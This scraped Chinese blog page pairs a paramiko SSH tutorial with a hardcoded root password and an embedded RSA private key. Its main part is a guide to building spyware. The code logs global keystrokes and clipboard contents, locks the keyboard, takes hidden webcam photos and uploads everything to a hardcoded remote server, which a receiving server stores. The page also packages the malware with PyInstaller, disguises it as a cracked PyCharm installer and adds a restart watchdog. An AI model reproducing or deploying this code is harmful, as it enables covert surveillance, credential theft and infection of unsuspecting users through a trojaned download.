网站内链调整专业高端网站设计首选

web/2025/9/30 0:45:27/文章来源:
网站内链调整,专业高端网站设计首选,外国教程网站有哪些,搭建域名服务器paramiko模块 介绍#xff1a; paramiko是一个用于做远程控制的模块#xff0c;使用该模块可以对远程服务器进行命令或文件操作#xff0c;值得一说的是#xff0c;fabric和ansible内部的远程管理就是使用的paramiko来现实。 2. 下载安装 pip3 install paramiko #在pytho…paramiko模块 介绍 paramiko是一个用于做远程控制的模块使用该模块可以对远程服务器进行命令或文件操作值得一说的是fabric和ansible内部的远程管理就是使用的paramiko来现实。 2. 下载安装 pip3 install paramiko #在python3中在python2中 pycrypto由于 paramiko 模块内部依赖pycrypto所以先下载安装pycrypto #在python2中 pip3 install pycrypto pip3 install paramiko 注如果在安装pycrypto2.0.1时发生如下错误command gcc failed with exit status 1... 可能是缺少python-dev安装包导致 如果gcc没有安装请事先安装gcc使用 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接 import paramiko# 创建SSH对象 ssh paramiko.SSHClient() # 允许连接不在know_hosts文件中的主机 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接服务器 ssh.connect(hostname120.92.84.249, port22, usernameroot, passwordxxx)# 执行命令 stdin, stdout, stderr ssh.exec_command(df) # 获取命令结果 result stdout.read() print(result.decode(utf-8)) # 关闭连接 ssh.close()SSHClient 封装 Transport import paramikotransport paramiko.Transport((120.92.84.249, 22)) transport.connect(usernameroot, passwordxxx)ssh paramiko.SSHClient() ssh._transport transportstdin, stdout, stderr ssh.exec_command(df) resstdout.read() print(res.decode(utf-8))transport.close()基于公钥密钥连接 客户端文件名id_rsa 服务端必须有文件名 authorized_keys(在用ssh-keygen时必须制作一个authorized_keys,可以用ssh-copy-id来制作) import paramikoprivate_key paramiko.RSAKey.from_private_key_file(/tmp/id_rsa)# 创建SSH对象 ssh paramiko.SSHClient() # 允许连接不在know_hosts文件中的主机 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接服务器 ssh.connect(hostname120.92.84.249, port22, usernameroot, pkeyprivate_key)# 执行命令 stdin, stdout, stderr ssh.exec_command(df) # 获取命令结果 result stdout.read() print(result.decode(utf-8)) # 关闭连接 ssh.close()SSHClient 封装 Transport import paramikoprivate_key paramiko.RSAKey.from_private_key_file(/tmp/id_rsa)transport paramiko.Transport((120.92.84.249, 22)) transport.connect(usernameroot, pkeyprivate_key)ssh paramiko.SSHClient() ssh._transport transportstdin, stdout, stderr ssh.exec_command(df) resultstdout.read() print(result.decode(utf-8))transport.close()基于私钥字符串进行连接 import paramiko from io import StringIOkey_str -----BEGIN RSA PRIVATE KEY----- MIIEoQIBAAKCAQEAsJmFLrSeCumJvga0Gl5O5wVOVwMIy2MpqIyQPi5J87dg89a4 Da9fczJog7qoSbRwHFOQoCHNphSlp5KPhGsF6RJewkIw9H1UKV4dCOyl/4HOAkAD rKrsEDmrJ9JlzF2GTTZSnTgVQWcvBS2RKB4eM2R9aJ11xV6X2Hk4YDLTExIWeabb h2TUKw0iyjI8pRuYLKkF2X16u9TBwfOTroGYgiNFHQvhsQppbEbI49NF2XkCkFMi 8/7tLjf95InE/VUUq56JqfzyHwdpHouwaXbwtvGgXN3szKkuEv6R2qDz06upZV FCZRRpDhzoR8Uh/UEzTGZb8z7FB6EJXUiXJikQIBIwKCAQBBmBuGYFf1bKBGG7H 9ySe81ecqVsJtx4aCFLVRGScWg4RbQKIvXs5an6XU/VdNGQnx0RYvBkvDvuzRRC8 J8Bd4kB0CfTtGJuaVigKoQp02HEWx1HSa17tlWD0c4KFBvwywiDYQ83S64x8gz eOalX9bPFenqORPUD8R7gJeKvPVc6ZTPeorpuH7u9xayP0Eop8qKxZza9Xh3foVj Qo4IxoYnDN57CIRX5PFSlDDggpmr8FtRF4nAxmFq8LhSp05ivzX/Ku1SNHdaMWZO 7va8tISXdLI5m0EGzoVoBvohIbwlxI6kfmamrh6Eas2Jnsc4CLzMsR4jBWt0LHLv /SLnAoGBANaEUf/Jptab9G/xD9W2tw/636i3gLpTPY9KPtCcAxqStNeT6RAWZ5HF lKJgNKpu3pI45ldAwvts0iaCZk2xakEWIZWqCmXm31JSPDQTaMGe7H0vOmUaxx ncdpBVdvhMbfFUgei15iKfuafgrKaS9oIkntXEgrC3wBOI0Gbx3AoGBANLAGxAF TK7ydrQ16/ujs6e8WsXt8HZMa/1khCVSbrf1MgACvZPSSSrDpVwaDTSjlRI4AL bb0l0RFU/0caMiHilscuJdz9Fdd9Ux4pjROZa3TF5CFhvP7PsZAoxOoyqJg4zr 996GG/aAv4M8lQJ2rDFk/Dgn5y/AaAun1oM3AoGAGIQmoOPYjY4qkHNSRE9lYOl4 pZFQilKn8x5tlC8WTC4GCgJGhX7nQ9wQ/J1eQ/YkDfmznHok6YjHkGlgLsRuXHW GdcDCwuzBUCWh76LHC1EytUCKnloa3qy8jfjWnMlHgrd3FtDILrCC7p1Vj2FAvm qVz0moiTpioPL8twp9MCgYEAin49q3EyZFYwxwdpU7/SJuvq750oZq0WVriUINsi A6IR14oOvbqkhb94fhsY12ZGt/N9uosq22Hanms6CicoQicv4fnBHDFI3hCHE9I pgeh50GTJHUA6Xk34V2s/kp5KpThazv6qCwQubkQExh660SEdSlvoCfPKMCi1EJ TukCgYAZKY1NZ2bjJyyO/dfNvMQetUL/9esi40GUGyJ7SZcazrN9zDO0yL39g 7FT9NMIc2dsmNJQMaGBCDl0AjO1O3b/wqlrNvNBGkanxn2Htn5ajfoLBU7yHAcV 7w4X5HLarXiE1mj0LXFKJhdvFqU53KUQJXBqR6lsMqzsdPwLMJg -----END RSA PRIVATE KEY-----private_key paramiko.RSAKey(file_objStringIO(key_str)) transport paramiko.Transport((120.92.84.249, 22)) transport.connect(usernameroot, pkeyprivate_key)ssh paramiko.SSHClient() ssh._transport transportstdin, stdout, stderr ssh.exec_command(df) result stdout.read() print(result.decode(utf-8)) transport.close()print(result)SFTPClient 用于连接远程服务器并执行上传下载 基于用户名密码上传下载 import paramikotransport paramiko.Transport((120.92.84.249,22)) transport.connect(usernameroot,passwordxxx)sftp paramiko.SFTPClient.from_transport(transport) # 将location.py 上传至服务器 /tmp/test.py sftp.put(/tmp/id_rsa, /etc/test.rsa) # 将remove_path 下载到本地 local_path sftp.get(remove_path, local_path)transport.close()基于公钥密钥上传下载 import paramikoprivate_key paramiko.RSAKey.from_private_key_file(/tmp/id_rsa)transport paramiko.Transport((120.92.84.249, 22)) transport.connect(usernameroot, pkeyprivate_key )sftp paramiko.SFTPClient.from_transport(transport) # 将location.py 上传至服务器 /tmp/test.py sftp.put(/tmp/id_rsa, /tmp/a.txt) # 将remove_path 下载到本地 local_path sftp.get(remove_path, local_path)transport.close()#!/usr/bin/env python # -*- coding:utf-8 -*- import paramiko import uuidclass Haproxy(object):def __init__(self):self.host 172.16.103.191self.port 22self.username rootself.pwd 123self.__k Nonedef create_file(self):file_name str(uuid.uuid4())with open(file_name,w) as f:f.write(sb)return file_namedef run(self):self.connect()self.upload()self.rename()self.close()def connect(self):transport paramiko.Transport((self.host,self.port))transport.connect(usernameself.username,passwordself.pwd)self.__transport transportdef close(self):self.__transport.close()def upload(self):# 连接上传file_name self.create_file()sftp paramiko.SFTPClient.from_transport(self.__transport)# 将location.py 上传至服务器 /tmp/test.pysftp.put(file_name, /home/root/tttttttttttt.py)def rename(self):ssh paramiko.SSHClient()ssh._transport self.__transport# 执行命令stdin, stdout, stderr ssh.exec_command(mv /home/root/tttttttttttt.py /home/root/ooooooooo.py)# 获取命令结果result stdout.read()ha Haproxy() ha.run()作业 题目:简单主机批量管理工具 需求: 主机分组 2. 主机信息配置文件用configparser解析 3. 可批量执行命令、发送文件结果实时返回执行格式如下 batch_run -h h1,h2,h3 -g web_clusters,db_servers -cmd “df -h”  batch_scp -h h1,h2,h3 -g web_clusters,db_servers -action put -local test.py -remote /tmp/ 4. 主机用户名密码、端口可以不同 5. 执行远程命令使用paramiko模块 6. 批量命令需使用multiprocessing并发 攻击原理解析 一、什么是dll 动态链接库Dynamic Link Library 或者 Dynamic-link Library缩写为 DLL 是微软公司在微软Windows操作系统中实现共享函数库概念的一种方式。 这些库函数的扩展名是 ”.dll、“.ocx”包含ActiveX控制的库或者 “.drv”旧式的系统驱动程序。  pip3 install 二、为何要有dll 由于进程的地址空间是独立的保护模式当多个进程共享相同的库时每个库都在硬盘和进程彼此的内存 存放一份的话对于早期的计算机来说无疑是一种极大的浪费于是windows系统推出了dll机制 dll在硬盘上存为一个文件在内存中使用一个实例instance。详细如下 在Windows操作系统中运行的每一个进程都生活在自己的程序空间中保护模式每一个进程都认为自己拥有整个机器的控制权 每个进程都认为自己拥有计算机的整个内存空间这些假象都是操作系统创造的操作系统控制CPU使得CPU启用保护模式。 理论上而言运行在操作系统上的每一个进程之间都是互不干扰的即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据 那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。 因此如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题)那么这个缺陷并不会影响到其他进程所使用的内存。什么是dll注入 我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。  所谓的dll注入正是是让进程A强行加载程序B给定的a.dll并执行程序B给定的a.dll里面的代码从而 达到A进程控制B进程的目的注意程序B所给定的a.dll原先并不会被程序A主动加载但是当程序B通过某种手段让程序A“加载”a.dll后 程序A将会执行a.dll里的代码此时a.dll就进入了程序A的地址空间而a.dll模块的程序逻辑由程序B的开发者设计 因此程序B的开发者可以对程序A为所欲为。什么时候需要dll注入 应用程序一般会在以下情况使用dll注入技术来完成某些功能 1.为目标进程添加新的“实用”功能 2.需要一些手段来辅助调试被注入dll的进程 3.为目标进程安装钩子程序(API Hook)dll注入的方法 一般情况下有如下dll注入方法    1.修改注册表来注入dll2.使用CreateRemoteThread函数对运行中的进程注入dll3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll4.替换应用程序一定会使用的dll5.把dll作为调试器来注入6.用CreateProcess对子进程注入dll7.修改被注入进程的exe的导入地址表。ps杀毒软件常用钩子来进行处理使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll ctypes是Python的外部函数库从Python2.5开始引入。它提供了C兼容的数据类型 并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。 ctypes.windll.user32下主要用到三个函数分别是 SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx()消息钩子Windows操作系统为用户提供了GUI(Graphic User Interface图形用户界面) 它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。 发生这样的事件时操作系统会把事先定义好的消息发送给相应的应用程序应用程序分析收到的信息后会执行相应的动作。 也就是说在敲击键盘时消息会从操作系统移动到应用程序。 所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例消息的流向如下   1.发生键盘输入时WM_KEYDOWN消息被添加到操作系统的消息队列中   2.操作系统判断这个消息产生于哪个应用程序并将这个消息从消息队列中取出添加到相应的应用程序的消息队列中;   3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。   当我们的钩子程序启用后操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。多个消息钩子将按照安装钩子的先后顺序被调用这些消息钩子在一起组成了钩链。消息在钩链之间传递时任一钩子函数拦截了消息接下来的钩子函数(包括应用程序)将都不再收到该消息。   像这样的消息钩子功能是Windows提供的最基本的功能MS Visual Studio中提供的SPY就是利用了这一功能来实现的SPY是一个十分强大的消息钩取程序它能够查看操作系统中来往的所有消息。   消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下 HHOOK WINAPI SetWindowsHookEx(_In_ int idHook,_In_ HOOKPROC lpfn,_In_ HINSTANCE hMod,_In_ DWORD dwThreadId );idHook参数是消息钩子的类型可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩其取值将是WH_KEYBOARDWH_KEYBOARD这个宏的值是2。   lpfn参数是钩子函数的起始地址注意不同的消息钩子类型的钩子函数原型是不一样的因为不同类型的消息需要的参数是不同的具体的钩子函数原型需要查看MSDN来获得。注意钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然如果不调用这个函数钩链上的后续钩子函数将不会被执行。   hMod参数是钩子函数所在的模块的模块句柄。   dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0安装的消息钩子称为“全局钩子”此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意有的类型的钩子只能是全局钩子。   注意钩子函数应当放在一个dll中并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。   当SetWindowsHookEx函数调用成功后当某个进程生成这一类型的消息时操作系统会判断这个进程是否被安装了钩子如果安装了钩子操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便用户几乎不需要做什么。   当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子函数的原型如下 BOOL WINAPI UnhookWindowsHookEx(_In_ HHOOK hhk );hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1当锁计数器减到0时系统会卸载被注入的dll。 这种类型的dll注入的优点是注入简单缺点是只能对windows消息进行Hook并注入dll而且注入dll可能不是立即被注入因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook如果想对其它的函数进行Hook你需要再在被注入的dll中添加用于API Hook的代码。   dll注入代码包含两部分一部分是dll的源文件另一部分是控制台程序的源代码。 HMODULE Hmod LoadLibraryA(“hookdll.dll”); 准备工作 #1、最新anocoda3.7 https://www.anaconda.com/distribution/#download-section#2、提速下载可以改变源 pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#3、安装pywin32,安装时指定安装目录默认为C:\Python37\Lib\site-packages\ https://github.com/mhammond/pywin32/releases#4、安装opencv-python pip install opencv-python#5、安装pyinstaller依赖pyin32 pip install pyinstaller#6、ico文件准备好 在线制作 or https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html#7、了解一下要用到的功能 from time import sleep,strftime from os import listdir,remove from os.path import exists, getsize,abspath,expanduser,basename from sys import exit from struct import pack from json import dumps from socket import socket, AF_INET, SOCK_STREAM from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes from win32gui import FindWindow, ShowWindow from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindowsfrom ctypes import windll # windll.user32、windll.kernel32 from ctypes import CFUNCTYPE from ctypes import byref from ctypes import POINTER from ctypes import c_int, c_void_p from ctypes.wintypes import MSGfrom threading import Timer from threading import Thread from threading import Lock步骤 1、先编写病毒程序WinCoreManagerment.py 监听键盘输入-并记录日志 锁定键盘功能 偷拍功能-保存图片文件 上传数据功能套接字客户度WinCoreManagerment.py import sys import os import time import socket import struct import json import win32clipboard # 剪贴板操作需要安装pywin32才可以 import win32con import win32api import cv2from ctypes import windll from ctypes import CFUNCTYPE from ctypes import POINTER from ctypes import c_int, c_void_p from ctypes import byref from ctypes.wintypes import MSGfrom threading import Timer from threading import Thread from threading import Lock# 工具 class Utils:def __init__(self):# 用户家目录self.base_dir os.path.expanduser(~) # 权限问题# 初始化生成日志文件self.log_path r%s/adhsvc.dll.system32 % self.base_diropen(self.log_path, a, encodingutf-8).close()win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)# 定义两把锁控制读写self.mutex_log Lock() # 日志锁self.mutex_photo Lock() # 照片锁self.mutex_sock Lock() # 套接字上传锁# 服务端的ip和portself.server_ip 115.29.65.16self.server_port 9999# 本地调试日志self.debug Trueself.debug_log_path r%s/debug_log % self.base_dirself.mutex_debug Lock()def log_debug(self, res):if not self.debug:returnself.mutex_debug.acquire()with open(self.debug_log_path, modea, encodingutf-8) as f:f.write(\n%s\n % res)f.flush()self.mutex_debug.release()def log(self, res):self.mutex_log.acquire()with open(self.log_path, modea, encodingutf-8) as f:f.write(res)f.flush()self.mutex_log.release()def take_photoes(self):while True:time.sleep(10)photo_path r%s/%s.jpeg % (self.base_dir, time.strftime(%Y-%m-%d_%H_%M_%S))cap Nonetry:# VideoCapture()中第一个参数是摄像头标号默认情况电脑自带摄像头索引为0外置为1.2.3…# 参数是视频文件路径则打开视频如cap cv2.VideoCapture(“../test.avi”)# CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启需要指定该参数cap cv2.VideoCapture(0, cv2.CAP_DSHOW)ret, frame cap.read()self.mutex_photo.acquire()cv2.imwrite(photo_path, frame)except Exception as e:self.log_debug(照相异常 %s % e)finally:# 无论如何都要释放锁关闭相机self.mutex_photo.release()if cap is not None:cap.release() # None.release()cv2.destroyAllWindows()if os.path.exists(photo_path):win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)def send_data(self, headers, data):try:self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情client socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((self.server_ip, self.server_port))head_json json.dumps(headers)head_json_bytes bytes(head_json, encodingutf-8)client.send(struct.pack(i, len(head_json_bytes)))client.send(head_json_bytes)client.sendall(data)client.close()res (True, ok)except ConnectionRefusedError as e:msg 套接字服务端未启动: %s % eres (False, msg)except Exception as e:msg 套接字其他错误%s % eres (False, msg)finally:self.mutex_sock.release()return resdef upload_log(self):while True:time.sleep(1)if not os.path.getsize(self.log_path):continueself.mutex_log.acquire()with open(self.log_path, moderb) as f:data f.read()self.mutex_log.release()headers {data_size: len(data),filename: os.path.basename(self.log_path)}self.log_debug(正在往服务端发送日志......[%s] % data)is_ok, msg self.send_data(headers, data)if is_ok:self.log_debug(日志[%s]发送成功。。。 % data)else:self.log_debug(日志[%s]发送失败%s % (data, msg))continuef.truncate(0)def upload_photoes(self):while True:time.sleep(3)files os.listdir(self.base_dir)files_jpeg [file_name for file_name in files if file_name.endswith(jpeg)]for file_name in files_jpeg:file_path r%s/%s % (self.base_dir, file_name)if not os.path.exists(file_path):continueself.log_debug(开始上传图片: %s % file_name)headers {data_size: os.path.getsize(file_path),filename: file_name}self.mutex_photo.acquire()with open(file_path, moderb) as f:data f.read()self.mutex_photo.release()is_ok, msg self.send_data(headers, data)if is_ok:self.log_debug(图片%s发送完毕...... % file_name)else:self.log_debug(图片%s发送失败%s % (file_name, msg))continueos.remove(file_path)utils Utils()# 定义类定义拥有挂钩与拆钩功能的类 class Toad:def __init__(self):self.user32 windll.user32self.hooked Nonedef __install_hook_proc(self, pointer):self.hooked self.user32.SetWindowsHookExA(win32con.WH_KEYBOARD_LL, # WH_KEYBOARD_LL 13 # 全局的键盘钩子能拦截所有的键盘按键的消息。pointer,0, # 钩子函数的dll句柄此处设置为0即可0 # 所有线程) # self.hooked 为注册钩子返回的句柄return True if self.hooked else Falsedef install_hook_proc(self, func):CMPFUNC CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))pointer CMPFUNC(func) # 拿到函数hookProc指针if self.__install_hook_proc(pointer):utils.log_debug(%s start % func.__name__)msg MSG()# 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子self.user32.GetMessageA(byref(msg), None, 0, 0)def uninstall_hook_proc(self):if self.hooked is None:returnself.user32.UnhookWindowsHookEx(self.hooked) # 通过钩子句柄删除注册的钩子self.hooked Nonetoad_obj Toad()# 2、定义钩子过程即我们要注入的逻辑 def monitor_keyborad_proc(nCode, wParam, lParam):# win32con.WM_KEYDOWN 0X0100 # 键盘按下对应数字256# win32con.WM_KEYUP 0x101 # 键盘起来对应数字257监控键盘只需要操作KEYDOWN即可if wParam win32con.WM_KEYDOWN:hookedKey_ascii 0xFFFFFFFF lParam[0]hookedKey chr(hookedKey_ascii)utils.log_debug(监听到hookeKey[%s] hookedKey_ascii[%s] % (hookedKey, hookedKey_ascii))keyboard_dic {220: r,189: r-,187: r,8: r删除键,9: rtab,219: r[,221: r],222: r\,20: r大小写锁定,186: r;,192: r,13: renter,160: rlshift,188: r,,190: r.,191: r/,161: rrshift,162: rctrl,32: rspace,37: r左箭头,38: r上箭头,39: r右箭头,40: r下箭头,}if (hookedKey Q): # 测试时打开正式运行时注释这一段即可toad_obj.uninstall_hook_proc()sys.exit(-1)# passif hookedKey_ascii in keyboard_dic: # 按下了了非常规键res keyboard_dic[hookedKey_ascii]utils.log_debug(监听到输入: %s % res)utils.log(res)if hookedKey_ascii 32 and hookedKey_ascii 127: # 检测击键是否常规按键非组合键等if hookedKey V or hookedKey C:win32clipboard.OpenClipboard()paste_value win32clipboard.GetClipboardData() # 获取粘贴板的值win32clipboard.CloseClipboard()if paste_value: # 剪贴板有值则代表上述V和C的输入是组合键用户输入的有效数据在剪贴板里放着utils.log(paste_value)utils.log_debug(粘贴值 %s % paste_value)else:utils.log_debug(监听到输入: %s % repr(hookedKey))utils.log(hookedKey)# CallNextHookEx将钩子的信息重新放回钩链中return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)# 钩链钩1钩2 def lock_keyboard_proc(nCode, wParam, lParam):utils.log_debug(锁定键盘程序正在执行。。。。。。。。)return 123123123123123if __name__ __main__:# 监听键盘输入-并记录日志t1 Thread(targettoad_obj.install_hook_proc, args(monitor_keyborad_proc,))# 锁定键盘功能t2 Timer(120, toad_obj.install_hook_proc, args[lock_keyboard_proc, ])# 偷拍功能-保存图片文件t3 Thread(targetutils.take_photoes)# 上传数据功能日志文件、图片文件t4 Thread(targetutils.upload_log)t5 Thread(targetutils.upload_photoes)t2.daemon Truet3.daemon Truet4.daemon Truet5.daemon Truet1.start()t2.start()t3.start()t4.start()t5.start()t1.join()2、编写服务端socketserver secureCRT图形界面-》windows 系统自带scp命令-》linux python的模块-》paramiko模块 纯手写客户端套接字Toad_server.py import socketserver import struct import json import os import timeclass ToadServer(socketserver.BaseRequestHandler):coding utf-8max_packet_size 1024def handle(self):ip, port self.client_addresswith open(raccess.log, modea, encodingutf-8) as f:f.write([%s] 癞蛤蟆病毒感染者- %s:%s 正在上传数据\n % (time.strftime(%Y-%m-%d-%H:%M:%S), ip, port))try:head self.request.recv(4)head_json_len struct.unpack(i, head)[0]head_json json.loads(self.request.recv(head_json_len).decode(utf-8))data_len head_json[data_size]filename head_json[filename]recv_size 0recv_data bwith open(rclient_msg/client_%s_%s % (ip, filename), ab) as f:while recv_size data_len:recv_data self.request.recv(1024)f.write(recv_data)recv_size len(recv_data)except Exception as e:# 客户端断开self.request.close()myserver socketserver.ThreadingTCPServer((0.0.0.0, 9999), ToadServer) myserver.serve_forever()3、服务端部署修改安全组开发端口 5、病毒程序制作二进制 frozen.py Pyinstaller多进程代码打包exe出现多个进程解决方案 import os import sys import multiprocessing# Module multiprocessing is organized differently in Python 3.4 try:# Python 3.4if sys.platform.startswith(win):import multiprocessing.popen_spawn_win32 as forkingelse:import multiprocessing.popen_fork as forking except ImportError:import multiprocessing.forking as forkingif sys.platform.startswith(win):# First define a modified version of Popen.class _Popen(forking.Popen):def __init__(self, *args, **kw):if hasattr(sys, frozen):# We have to set original _MEIPASS2 value from sys._MEIPASS# to get --onefile mode working.os.putenv(_MEIPASS2, sys._MEIPASS)try:super(_Popen, self).__init__(*args, **kw)finally:if hasattr(sys, frozen):# On some platforms (e.g. AIX) os.unsetenv() is not# available. In those cases we cannot delete the variable# but only set it to the empty string. The bootloader# can handle this case.if hasattr(os, unsetenv):os.unsetenv(_MEIPASS2)else:os.putenv(_MEIPASS2, )# Second override Popen class with our modified version.forking.Popen _Popen6、病毒程序进行伪装处理并打包成exe 6.1 编写伪装文件pycharm破解版.py6.2 编写无限重启文件System.py6.3 打包制作二进制exepyinstaller -i system.ico -Fw WinCoreManagement.pypyinstaller -i system.ico -Fw System.pypyinstaller -i pycharm.ico -Fw pycharm破解版.py指定-w参数后就不要设置后台运行了6.4 将三个exe文件放入正常pycharm软件包下的bin目录下pycharm破解版.py import os import subprocess import time import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessingif __name__ __main__:multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案os.chdir(r.)subprocess.Popen(rpycharm.exe) # 真正的pychamr程序subprocess.Popen(rSystem.exe) # System.exe负责无限重启病毒程序WinCoreManagerment.exetime.sleep(20)System.py import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing import subprocess import time import sys import os import win32con import win32apiCMD rWinCoreManagement.exe # 需要执行程序的绝对路径def run(cmd):# print(start OK!)os.chdir(os.path.dirname(os.path.abspath(__file__)))p subprocess.Popen(cmd, shellFalse)p.wait() # 类似于p.join()try:subprocess.call(start /b taskkill /F /IM %s % CMD) # 清理残余except Exception as e:# print(e)pass# print(子进程关闭重启)run(cmd)if __name__ __main__:multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案run(CMD)7、杀毒方法 taskkill /F /IM System.exetaskkill /F /IM WinCoreManagement.exetaskkill /F /IM pycharm.exeimport frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing import subprocess import time import sys import os import win32con import win32apiCMD rWinCoreManagement.exe # 需要执行程序的绝对路径def run(cmd):# print(start OK!)os.chdir(os.path.dirname(os.path.abspath(__file__)))p subprocess.Popen(cmd, shellFalse)p.wait() # 类似于p.join()try:subprocess.call(start /b taskkill /F /IM %s % CMD) # 清理残余except Exception as e:# print(e)pass# print(子进程关闭重启)run(cmd)if __name__ __main__:multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案run(CMD)7、杀毒方法 taskkill /F /IM System.exetaskkill /F /IM WinCoreManagement.exetaskkill /F /IM pycharm.exe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/84163.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

注册个空壳公司需要多少钱企业网站seo优化公司

GitHub 面对学生推出了学生认证服务,通过认证后就可以得到学生包,学生包大概有十几项优惠,包括 DATADOG Pro 帐户、免费两年的10台服务器,Icons8 3个月的带图标,照片,插图和音乐订阅服务、JETBRAINS 专业桌…

建设监督网站搭建网站的过程

JS文件命名 一般采用的是小驼峰命名法,如 pieChartHelp 第一个单词小写,其他单词首字母大写 Components 文件命名 一般采用的是大驼峰命名法,如PieChart 所有单词的首字母大写 常量命名 一般全部大写,每个单词使用分隔符隔开&…

福田网站建设乐云seo建设网站可以赚钱吗

多功能复合机基于用户认证功能的实现方法 -----网络设备共享案例分析 公司需求:***是一家租售写字楼的服务性企业,主要是针对小型企业进行出租,房间有大有小,大的可以容纳5-10人,小的可以容纳1-4人左右。由于都是一些小…

北京南站地铁wordpress 大神

这里写目录标题 一、LCS 01. 下载插件二、已知一个由数字组成的列表,请将列表中的所有0移到右侧三、实现一个trim()函数,去除字符串首尾的空格(不能使用strip()方法) 一、LCS 01. 下载插件 简单 小扣打算给自己的 VS code 安装使…

提高网站排名软件怎么在搜索引擎里做网站网页

选择题 题目:中国由北而南最大规模的“移民潮”发生在()代。 题目:位于五岭之一的大庾岭道上的粤北南雄(),是移民入粤的重要中转站。 题目:汉代所置的()郡,管辖番禺.博罗…

笋岗网站建设品牌建设包括

世界棒球经典赛(WBC)作为全球最高水平的国家队棒球赛事,参赛队伍按实力、地域和历史表现可分为多个“阵营”。以下是基于历届赛事(截至2023年)的阵营划分及代表性队伍分析: 第一阵营:传统豪强&a…

a市最牛的网站竞争对手网站

近日,Sightful公司推出了一款名为Spacetop G1的革命性笔记本电脑,将AR技术与传统笔记本电脑巧妙融合,打造出令人惊叹的全新办公体验。 全球首款AR电脑上线,可投影100英寸屏幕 不同于传统笔记本电脑依赖物理屏幕显示内容&#xff0…

网站后来功能寻找做网站

jmeter对图片验证码的处理 在web端的登录接口经常会有图片验证码的输入,而且每次登录时图片验证码都是随机的;当通过jmeter做接口登录的时候要对图片验证码进行识别出图片中的字段,然后再登录接口中使用; 通过jmeter对图片验证码…

网站域名空间一年多少钱住宅设计网站推荐

你好,这里是codetrend专栏“跟着GPT学设计模式”。 引言 观察者模式(Observer Pattern)是一种行为型设计模式,它定义了对象之间的一对多依赖关系,使得当一个对象的状态发生改变时,其依赖对象都能够收到通…

网站建设流程笔记网上购物哪个商城好

3、基础类型 3.1、简单变量 变量的命名 carDrip和cardRip 或boat_sport和boats_port 此外,还有有前缀的命名,使用前缀表示数据类型。常见的前缀有:str(表示字符串)、n(表示整数值)、b(表示…

IP怎么屏蔽网站域名网站建设英文术语

1. BERT模型的输出 在BERT模型中,last_hidden_state和pooler_output是两个不同的输出。 (1) last_hidden_state: last_hidden_state是指BERT模型中最后一个隐藏层的隐藏状态。它是一个三维张量,其形状为[batch_size, sequence_length, hidden_size]。其…

网站价格套餐免费注册网站平台

STL 提供了6大组件,彼此之间可以组合套用,这6大组件分别是: 容器,算法,迭代器,仿函数,适配器,空间配置器 简单介绍: 容器:各种数据结构,入vector…

免费手机网站建站平台自建网站

